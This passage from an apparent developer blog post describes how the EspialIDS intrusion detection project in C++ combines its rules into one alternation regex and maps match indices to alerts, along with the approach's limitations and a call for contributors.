that would affect the regex itself. Fast Rule Lookups With Regex and Vectors So, I still want this thing to be fast. Currently the match block is constructed like so: > if(this->rules->size() > 0) { > string searchBlock = ""; > for(rulesIter = this->rules->begin(); rulesIter != this->rules->end(); rulesIter++) { > if(rulesIter == this->rules->begin()) //Construct a big fat regex from all of the rules. > searchBlock += ".*(" + rulesIter->first + ").*"; > else searchBlock += "|.*(" + rulesIter->first + ").*"; > } > this->globalMatchBlock = newregex(searchBlock); Basically all this does is stick them all together into one OR statement regex to match text on. The result is that the match block will stop on the first match that occurs, and the resultant regex array will only contain text at index (if you want to call it that) where the match occurred. So for example: .*(match).*|.*(me).*|.*(please).* If I have the text of “match” then the array index [1] will have “match” in it. Which resulted in this function: > voidDB::search(string &currLine) > { > smatch result; > ofstream outfile; > regex_search(currLine, result, *globalMatchBlock); > > for(int i = 0; i < result.size(); i++){ > if(result[i].length() > 2 && i != 0) { > outfile << "Match: " << (*rulesVec)[i-1].alert << endl; //Access alert in vector at that index, since that's the one that matched... > outfile << "From: " << result[0] << endl << endl; > > outfile.flush(); > } So basically it will search through the text, and if the array index contains a match, it will look up the alert in the established rule vector, resulting in O(n)+O(1) lookup efficiency. The initial O(n) comparison seems slow from an algorithm perspective, but the length comparisons won’t use up much CPU time compared to a rule comparison against a map, or hash map. Limitations The limitations are that the string buffer is a limited size, since only one match will occur based on the provided buffer (currLine). Another limitation is that one rule is only being matched per block. So if you had multiple rules being matched in a provided text block then you would only see one match occurring. The Project and Getting Involved You can find the project on my GitHub: https://github.com/jershmagersh/EspialIDS/ Currently there isn’t much of a ReadMe, and other necessities, but these will come with time. If you’d like to get involved please contact me. Currently the only developer involved is myself.